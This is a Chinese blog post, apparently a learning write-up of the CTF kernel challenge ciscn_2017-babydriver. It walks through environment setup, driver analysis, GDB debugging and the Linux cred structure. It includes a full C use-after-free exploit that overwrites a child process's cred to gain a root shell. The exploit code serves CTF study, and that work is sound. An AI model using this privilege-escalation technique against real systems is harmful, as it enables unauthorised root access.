初探内核(一)

发布时间 2023-03-22 21:09:33作者: 闲时喝喝茶
貌似两个月没更新博客了,因为这两个月我都在 nssctf 刷题,目前的进度是 207/377 ,但是由于 nssctf 糟糕的 libc 环境和我不想在 glibc 沉沦了,所以打算学点新东西。

初探内核

学习过程主要参考的是这位师傅的博客,感谢这位师傅;前三题的题目链接

环境搭建

  1. ubuntu20

需提前开启虚拟化功能

  1. gdb 我用到是 pwndgb
  2. qemu
sudo apt install qemu-kvm
  1. ropper 搜索 gadget 比 ROPgadget 快
  2. vmlinux_to_elf 脚本,感谢的 peiwithhao 师傅的帮助
  3. un-cpio
#!/bin/bash
me=${0##*/}
if    [ $# -ne 1  ]
then
    echo "Usage: $me <rootfs-cpio>" >&2
    echo "Notice: please use this script in a empty dir where the file system will be decompressed" >&2
    exit 2
fi
wholepath="`pwd`/$1"
path=$(dirname $wholepath)
file=$(basename $wholepath)
cd $path
mv $file "${file}.gz"
gunzip "${file}.gz"
cpio -idm < $file
rm $file
  1. gen-cpio 压缩镜像脚本
#!/bin/bash
me=${0##*/}
if    [ $# -ne 1  ]
then
    echo "Usage: $me <output-cpio>" >&2
    exit 2
fi

find . -print0 |cpio --null -o --format=newc |gzip -9 > $1
mv $1 ../

kernel uaf

kernel uaf 以 ciscn_2017-babydriver 为例

打开后删除其它不需要的文件,剩下以下三个

boot.sh 是用来启动 qemu 的

rootfs.cpio 是 文件系统映像

bzImage 是压缩的内核映像

先修改 boot.sh ,增加 -s 参数,方便调试

接着利用 un-cpio 脚本来解压 rootfs.cpio

先对 init 进行分析

将 flag 修改成非 root 不可读,然后利用 insmod 挂载 babydrive.ko 模块

程序分析

将 babydirver.ko 放入 IDA 分析

最后两个函数是驱动的初始化函数和退出自动调用的函数,其它是可调用函数

babydrive_init

bdbydrive_exit

babyopen

申请一块 0x40 大小的内存,指针放入 babydev_struct 结构体

babyread

同理 babywrite将数据从用户空间传送到内核空间

babyioctl

实现了更改申请内存的大小

babyrelease
这里存在漏洞点
GBD调试

首先在 core 目录下创建一个 test.c

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/wait.h>
#include <unistd.h>
int main(){
    int fd = open("/dev/babydev", 2);
    char a[8] = "hello";
    write(fd, a, 5);
    close(fd);
}

然后静态编译

gcc test.c -static -o test

调试前我们要先获得模块具体的加载地址

修改 init 文件中的权限,令我们的登录权限为 root

然后将当前 core 目录下的所有文件打包成 rootfs.cpio

执行 boot.sh ,启动 qemu

cat sys/module/babydriver/sections/.text 

查看模块具体的加载地址

退出后执行

gdb bzImage

调用 gdb 后,添加驱动的符号信息

add-symbol-file ./core/lib/modules/4.4.72/babydriver.ko 0xffffffffc000000

然后将其断点打到 babywrite

接着输入

target remot:1234

来远程调试,并令其一个终端运行 boot.sh

接着在 gdb 调试界面按 c 就会跑到命令运行界面

接着运行 test ,就会跑到断点了

我这里失败了几次,查看断点发现断点有问题?再打下断点就可以了

从寄存器中可以看到 write 函数所用的信息

cred 结构体

如果要提权的话,我们需要先了解 cred 结构体,对于 Linux 下的每一个进程,在 kernel 中都有着一个结构体 cred 用以标识其权限,该结构体定义于内核源码,有一点要注意,每个linux内核版本对应的cred大小都不一样

内核中主要有三个用户:uid(实际用户)、euid(有效用户)、suid(保存用户),可通过setuidseteuidsetreuid系统调用实现用户切换

struct cred {
    atomic_t    usage;
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
    kuid_t        uid;        /* 实际用户id */
    kgid_t        gid;        /* 实际用户组id */
    kuid_t        suid;        /* 保存的用户uid */
    kgid_t        sgid;        /* 保存的用户组gid */
    kuid_t        euid;        /* 真正有效的用户id */
    kgid_t        egid;        /* 真正有效的用户组id */
    kuid_t        fsuid;        
    kgid_t        fsgid;        
    unsigned    securebits;    /* 安全管理标识;用来控制凭证的操作与继承 */
    kernel_cap_t    cap_inheritable; /* execve时可以继承的权限 */
    kernel_cap_t    cap_permitted;    /* 可以(通过capset)赋予cap_effective的权限 */
    kernel_cap_t    cap_effective;    /* 进程实际使用的权限 */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
  //。。。。。。
    };
} __randomize_layout;

那么我们在内核创建一个新的进程时,改变进程的 cred 结构体的 uid 和 gid 都为 0 也就完成了提权

exp 编写

那么对于这道题,我们可以先 open 两次,修改 fd1 的内存大小与 cred 结构体相同,然后在 close(fd1) 即 free,再 foke 一个子进程,该子进程就会利用先前 free 的内存来存放 cred 结构体,而此时的 fd2 也刚好指向 cred 结构体,通过 fd2 来修改 cred 结构体的 uid 和 gid 数据,就能够实施提权攻击。

exp

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
int main(){
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    ioctl(fd1, 0x10001, 0xa8);
    close(fd1);
    
    if(!fork()){
        char mem[28];
    memset(mem, '\x00', sizeof(mem));
    write(fd2, mem, sizeof(mem));
    puts("[+]root---");
    system("/bin/sh");
    }else{
        wait(NULL);
    }
    close(fd2);
}

静态编译为 exp 二进制可执行文件

接下来为了验证是否能成功攻击,我们在 core 下创建一个 flag 文件,然后修改回 init 的登录权限为 1000

同样编译后,将 core 打包成 rootfs.cpio

启动 boot.sh ,执行 exp

可以看到成功攻击,至此完成第一道内核 pwn 题目

动态调试

接下来利用动态调试加深理解

将断点打到 babyrelease

对照 IDA

可以知道 call 0xffffffff811eafc0 是调用了 kfree,记录下此时寄存器的值

再将断点打到 babywrite

通过对照 IDA 的代码,可以此时即将执行 _copy_from_user ,将数据从用户空间写到内核空间,并且通过与调用 kfree 函数的那个图对比,可以看到 rdi 寄存器的值是一样的,不同的是调用 _copy_from_user 时候的 rdi 指向 cred 结构体

0x3e8 刚好是 1000 ,也就是我们普通权限的 uid = 1000

我们接着按 n 步进

cred 结构体被改写,uid 和 gid 都被修改为 0 ,成功攻击。